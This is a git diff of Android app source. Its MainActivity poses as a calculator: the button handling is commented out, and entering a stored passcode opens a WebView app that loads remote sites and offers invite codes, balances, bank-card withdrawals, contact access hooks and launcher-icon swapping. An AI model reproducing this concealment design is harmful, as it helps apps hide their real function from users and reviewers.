ArrayList arrayList = new ArrayList<>(); + for (JsonObject jsonObject : jsonObjects) + { + arrayList.add(gson.fromJson(jsonObject, cls)); + } + return arrayList; + } + + /** + * 返回对象 + * @param str + * @param cls + * @param + * @return + */ + public static T getObjFromJSON(String str, Class cls) { + try { + if (!TextUtils.isEmpty(str)) { +// LogUtils.i("参数:"+str); + return gson.fromJson(str, cls); + } + return null; + }catch (Exception e) { + return null; + } + } + + /** + * 返回JsonString + * @return + */ + public static String beanToJSONString(Object bean) { + return new Gson().toJson(bean); + } + + + public static String JSONTokener(String in) { + // consume an optional byte order mark (BOM) if it exists + if (in != null && in.startsWith("\ufeff")) { + in = in.substring(1); + } + return in; + } + +} diff --git a/base_no_all/src/main/java/com/web/base/InviteInfo.java b/base_no_all/src/main/java/com/web/base/InviteInfo.java new file mode 100644 index 0000000..788659c --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/InviteInfo.java @@ -0,0 +1,109 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteInfo implements Serializable { + + + private String deviceCode; + private int id; + private String inviteCode; + private int inviteNum; + private int userId; + private String balance; + private String income; + //银行卡信息 + private String bankId; + private String bankName; + private String bankNo; + private String name; + + public String getBankId() { + return bankId; + } + + public void setBankId(String bankId) { + this.bankId = bankId; + } + + public String getBankName() { + return bankName; + } + + public void setBankName(String bankName) { + this.bankName = bankName; + } + + public String getBankNo() { + return bankNo; + } + + public void setBankNo(String bankNo) { + this.bankNo = bankNo; + } + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + + public String getDeviceCode() { + return deviceCode; + } + + public void setDeviceCode(String deviceCode) { + this.deviceCode = deviceCode; + } + + public int getId() { + return id; + } + + public void setId(int id) { + this.id = id; + } + + public String getInviteCode() { + return inviteCode; + } + + public void setInviteCode(String inviteCode) { + this.inviteCode = inviteCode; + } + + public int getInviteNum() { + return inviteNum; + } + + public void setInviteNum(int inviteNum) { + this.inviteNum = inviteNum; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getUserId() { + return userId; + } + + public void setUserId(int userId) { + this.userId = userId; + } +} diff --git a/base_no_all/src/main/java/com/web/base/InviteListInfo.java b/base_no_all/src/main/java/com/web/base/InviteListInfo.java new file mode 100644 index 0000000..9b94e13 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/InviteListInfo.java @@ -0,0 +1,61 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class InviteListInfo implements Serializable { + + private InviteCodeInfo inviteCode; + //邀请记录 + private int total; + private List list; + + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + + public InviteCodeInfo getInviteCode() { + return inviteCode; + } + + public void setInviteCode(InviteCodeInfo inviteCode) { + this.inviteCode = inviteCode; + } + + + class InviteCodeInfo { + + private String balance; + private String income; + + public String getBalance() { + return balance; + } + + public void setBalance(String balance) { + this.balance = balance; + } + + public String getIncome() { + return income; + } + + public void setIncome(String income) { + this.income = income; + } + } +} diff --git a/base_no_all/src/main/java/com/web/base/LinkConfigInfo.java b/base_no_all/src/main/java/com/web/base/LinkConfigInfo.java new file mode 100644 index 0000000..fa044fb --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/LinkConfigInfo.java @@ -0,0 +1,34 @@ +package com.web.base; + +import java.io.Serializable; + +public class LinkConfigInfo implements Serializable { + + public String name; + public String icon; + public String linkUrl; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getIcon() { + return icon; + } + + public void setIcon(String icon) { + this.icon = icon; + } + + public String getLinkUrl() { + return linkUrl; + } + + public void setLinkUrl(String linkUrl) { + this.linkUrl = linkUrl; + } +} diff --git a/base_no_all/src/main/java/com/web/base/LogUtils.java b/base_no_all/src/main/java/com/web/base/LogUtils.java new file mode 100644 index 0000000..c7bd63f --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/LogUtils.java @@ -0,0 +1,146 @@ +package com.web.base; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/base_no_all/src/main/java/com/web/base/MainActivity.java b/base_no_all/src/main/java/com/web/base/MainActivity.java new file mode 100644 index 0000000..74ac6c0 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MainActivity.java @@ -0,0 +1,372 @@ +package com.web.base; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import java.math.BigDecimal; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class MainActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private TextView inputTextView, outputTextView; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, + btn_point, btn_equal, btn_add, btn_subtract, btn_multiply, btn_divide, btn_percent, btn_backspace, btn_clear; + + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main); + + if (TextUtils.isEmpty(getString(MainActivity.this, "loc_pass", ""))) { + startActivity(new Intent(this, StartActivity.class)); + finish(); + return; + } + + setListener(); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(inputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(outputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + getNetUrl(); + } + + public void setListener() { + inputTextView = (TextView) findViewById(R.id.inputText); + outputTextView = (TextView) findViewById(R.id.outputText); + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + btn_point = (Button) findViewById(R.id.btn_point); + btn_point.setOnClickListener(this); + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + btn_add = (Button) findViewById(R.id.btn_add); + btn_add.setOnClickListener(this); + btn_subtract = (Button) findViewById(R.id.btn_subtract); + btn_subtract.setOnClickListener(this); + btn_multiply = (Button) findViewById(R.id.btn_multiply); + btn_multiply.setOnClickListener(this); + btn_divide = (Button) findViewById(R.id.btn_divide); + btn_divide.setOnClickListener(this); + btn_backspace = (Button) findViewById(R.id.btn_backspace); + btn_backspace.setOnClickListener(this); + btn_clear = (Button) findViewById(R.id.btn_clear); + btn_clear.setOnClickListener(this); + } + + Handler handler = new Handler(); + + public void displayInput() { + inputTextView.setText(currentInput); + if (currentInput.toString().equals(MainActivity.getString(MainActivity.this, "loc_pass", ""))) { + toNextActivity(); + } + } + + private void toNextActivity() { +// changeIcon(true); + handler.postDelayed(() -> { + startActivity(new Intent(MainActivity.this, MainActivity2.class)); +// finish(); + }, 1000); + } + + /** + * 修改图标和名称的方法 + * + * @param enable + */ + public void changeIcon(boolean enable) { + PackageManager pm = getApplicationContext().getPackageManager(); + + if (enable) { + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + } else { + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.Default"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + + + Log.d("TAG", "换Test的图标"); + } + } + + + public void displayAnswer(StringBuilder string) { + Pattern compile = Pattern.compile("[^0-9.-]"); + StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); + if (result.charAt(result.length() - 1) == '-') { + System.out.println(result.charAt(result.length() - 1)); + result.deleteCharAt(result.length() - 1); + } + System.out.println(result); + outputTextView.setText(result); + } + + public StringBuilder compute(StringBuilder str) { + Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); + Matcher matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "*": + first = first.multiply(second); + break; + case "/": + first = first.divide(second); + break; + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + + pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); + matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "+": + first = first.add(second); + break; + case "-": + first = first.subtract(second); + break; + + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + return str; + } + + public void addInput(String string) { + if (hasCount == false) { + currentInput.append(string); + } else { + currentInput = new StringBuilder(""); + hasCount = false; + currentInput.append(string); + } + displayInput(); + } + + + public String GETHASH() { + try { + String value = "" + ""; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); + byte[] bytes = messageDigest.digest(value.getBytes(StandardCharsets.UTF_8)); + return byteToString(bytes); + } catch (NoSuchAlgorithmException e) { + return ""; + } + } + + public String byteToString(byte[] bytes) { + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < bytes.length; i++) { + String hexString = Integer.toHexString(0xff & bytes[i]); + if (hexString.length() == 1) { + stringBuilder.append("0"); + } + stringBuilder.append(hexString); + } + return stringBuilder.toString(); + } + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0"); +// break; +// case R.id.btn_1: +// addInput("1"); +// break; +// case R.id.btn_2: +// addInput("2"); +// break; +// case R.id.btn_3: +// addInput("3"); +// break; +// case R.id.btn_4: +// addInput("4"); +// break; +// case R.id.btn_5: +// addInput("5"); +// break; +// case R.id.btn_6: +// addInput("6"); +// break; +// case R.id.btn_7: +// addInput("7"); +// break; +// case R.id.btn_8: +// addInput("8"); +// break; +// case R.id.btn_9: +// addInput("9"); +// break; +// case R.id.btn_point: +// addInput("."); +// break; +// case R.id.btn_add: +// addInput("+"); +// break; +// case R.id.btn_subtract: +// addInput("-"); +// break; +// case R.id.btn_multiply: +// addInput("*"); +// break; +// case R.id.btn_divide: +// addInput("/"); +// break; +// case R.id.btn_backspace: +// if (currentInput.length() > 0) { +// currentInput.deleteCharAt(currentInput.length() - 1); +// } +// displayInput(); +// break; +// case R.id.btn_clear: +// currentInput = new StringBuilder(""); +// displayInput(); +// outputTextView.setText(""); +// break; +// case R.id.btn_equal: +// StringBuilder result = compute(currentInput); +// displayAnswer(result); +// hasCount = true; +// break; + } + } + + public void getNetUrl() { +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// saveString(MainActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + public static void saveString(Context context, String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + public static void saveBoolean(Context context, String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context, String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + +} \ No newline at end of file diff --git a/base_no_all/src/main/java/com/web/base/MainActivity2.java b/base_no_all/src/main/java/com/web/base/MainActivity2.java new file mode 100644 index 0000000..205b5b1 --- /dev/null +++ b/base_no_all/src/main/java/com/web/base/MainActivity2.java @@ -0,0 +1,1688 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.app.Activity; +import android.app.ActivityManager; +import android.app.NotificationManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.graphics.Color; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.Html; +import android.text.TextUtils; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.JavascriptInterface; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.cardview.widget.CardView; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.google.android.material.floatingactionbutton.FloatingActionButton; +import com.google.gson.Gson; +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.SslError; +import com.tencent.smtt.export.external.interfaces.SslErrorHandler; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceResponse; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.net.URLDecoder; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; +import okhttp3.MediaType; +import okhttp3.RequestBody; + +public class MainActivity2 extends AppCompatActivity { + public WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + public ImageView showTopV1; + private LinearLayout showTopLy; + FloatingActionButton floatingActionButton; + CardView otherApp; + CardView notifyCardView; + CardView ivNotify; + ImageView ivotherApp; + LinearLayout layoutOtherApp; + CardView ivFaceBook; + CardView ivTelG; + CardView ivWhatsApp; + CardView ivLink; + TextView tvLink; + ImageView ivLinkBg; + CardView ivHome; + private View topVvvv; + private ProgressBar progressBar; + public static String url = "https://candy916.co/"; + + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + public static int userId = 2; + private String shareUrl; + private String myInviteCode; + private int contactApply = 1; + private int notifyApply = 1; + private String facebookUrl = ""; + private String whatsappUrl = ""; + private String telegramUrl = ""; + private List linkconfiglist; + private CardView cvShare; + + float lastX, lastY; + float initX, initY; + + @Override + protected void onNewIntent(Intent intent) { + super.onNewIntent(intent); + setIntent(intent); + Bundle bundle = intent.getExtras(); + if (bundle != null) { + MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + } + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "style_color", "#FFFFFF"))); + getWindow().getDecorView().setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + String body = getIntent().getStringExtra("message"); + if (!TextUtils.isEmpty(body)) { + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + + boolean isDownload = MainActivity.getBoolean(MainActivity2.this, "download", false); + if (!isDownload) { + setDownloadNumbers(); + } + initView(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + floatingActionButton = findViewById(R.id.bt_menu); + otherApp = findViewById(R.id.bt_otherapp); + ivotherApp = findViewById(R.id.iv_otherApp); + notifyCardView = findViewById(R.id.bt_notify); + ivNotify = findViewById(R.id.bt_notifyitem); + layoutOtherApp = findViewById(R.id.layout_otherapp); + ivFaceBook = findViewById(R.id.iv_facebook); + ivTelG = findViewById(R.id.iv_tel); + ivWhatsApp = findViewById(R.id.iv_whatsapp); + ivLink = findViewById(R.id.iv_link); + tvLink = findViewById(R.id.tv_link); + ivLinkBg = findViewById(R.id.iv_linkbg); + ivHome = findViewById(R.id.iv_home); + + cvShare = (CardView) findViewById(R.id.cv_share); + +// ivNotify.setOnClickListener(view -> { +// notifyclick(); +// }); +// jdclub9vip + tvLink.setText(Html.fromHtml("MISSAV")); + ivFaceBook.setOnClickListener(view -> { + toOtherApp(facebookUrl, "com.facebook.katana", 1); + }); + ivTelG.setOnClickListener(view -> { + toOtherApp(telegramUrl, "org.telegram.messenger", 2); + }); + ivWhatsApp.setOnClickListener(view -> { + toOtherApp(whatsappUrl, "com.whatsapp", 3); + }); +// ivLink.setOnClickListener(view -> { +// toLink(); +// +// }); + ivHome.setOnClickListener(view -> { + webView.loadUrl(url); + }); + floatingActionButton.setOnClickListener(view -> { + showBottomDialog(); + }); + otherApp.setOnClickListener(view -> { + layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); + int visi = layoutOtherApp.getVisibility(); + if (visi == 0) { + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } else { + ivotherApp.setImageResource(R.mipmap.ic_zhangkai); + } + }); + + + if (userId == 157 || userId == 158) { + ivLink.setVisibility(View.VISIBLE); + } + + if (userId == 157) { + cvShare.setVisibility(View.VISIBLE); + } + cvShare.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + if (userId == 157) { + Intent textIntent = new Intent(Intent.ACTION_SEND); + textIntent.setType("text/plain"); + textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top"); + startActivity(Intent.createChooser(textIntent, "分享")); + + } + } + + break; + } + return true; + }); + ivLink.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + toLink(); + } + + break; + } + return true; + }); + + ivNotify.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + layoutOtherApp.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); +// LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = v.getLeft() + (int) dx; + int top = v.getTop() + (int) dy; + int right = v.getRight() + (int) dx; + int bottom = v.getBottom() + (int) dy; + v.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + + setTotalTongJi(); //每日活跃统计 + + + } + + private void toLink() { + if (userId == 157 || userId == 158) { + webView.loadUrl("https://missav.live/dm19/ms"); + + } else { + webView.loadUrl(linkconfiglist.get(0).getLinkUrl()); + } + } + + public void setBackDrawables(int drawableId) { + showTopLy.setBackgroundResource(drawableId); + } + + /** + * 显示圆角还是 原样显示 + * + * @param isRound + */ + public void setImageView(boolean isRound) { + if (isRound) { + show_top_v.setVisibility(View.VISIBLE); + showTopV1.setVisibility(View.GONE); + } else { + show_top_v.setVisibility(View.GONE); + showTopV1.setVisibility(View.VISIBLE); + } + } + + //跳转通知列表 + private void notifyclick() { + startActivity(new Intent(this, NotifyListActivity.class)); + } + + private void toOtherApp(String uri, String packagenames, int type) { + try { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + intent.setPackage(packagenames); + startActivity(intent); + } catch (Exception e) { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + startActivity(intent); + } + + } + + + public void showBottomDialog() { + ActionSelectDialog actionDialog = new ActionSelectDialog(MainActivity2.this); + actionDialog.setOnToActionListener(new ActionSelectDialog.OnToActionListener() { + @Override + public void toShare() { + if (TextUtils.isEmpty(myInviteCode)) { + getMyInvite(true); + } else { + goShare(); + } + } + + @Override + public void toCheck() { + showRecordDialog(); + } + + @Override + public void toWithDrawRecords() { + showWithDrawRecordDialog(); + } + + @Override + public void toWithDrawApply() { 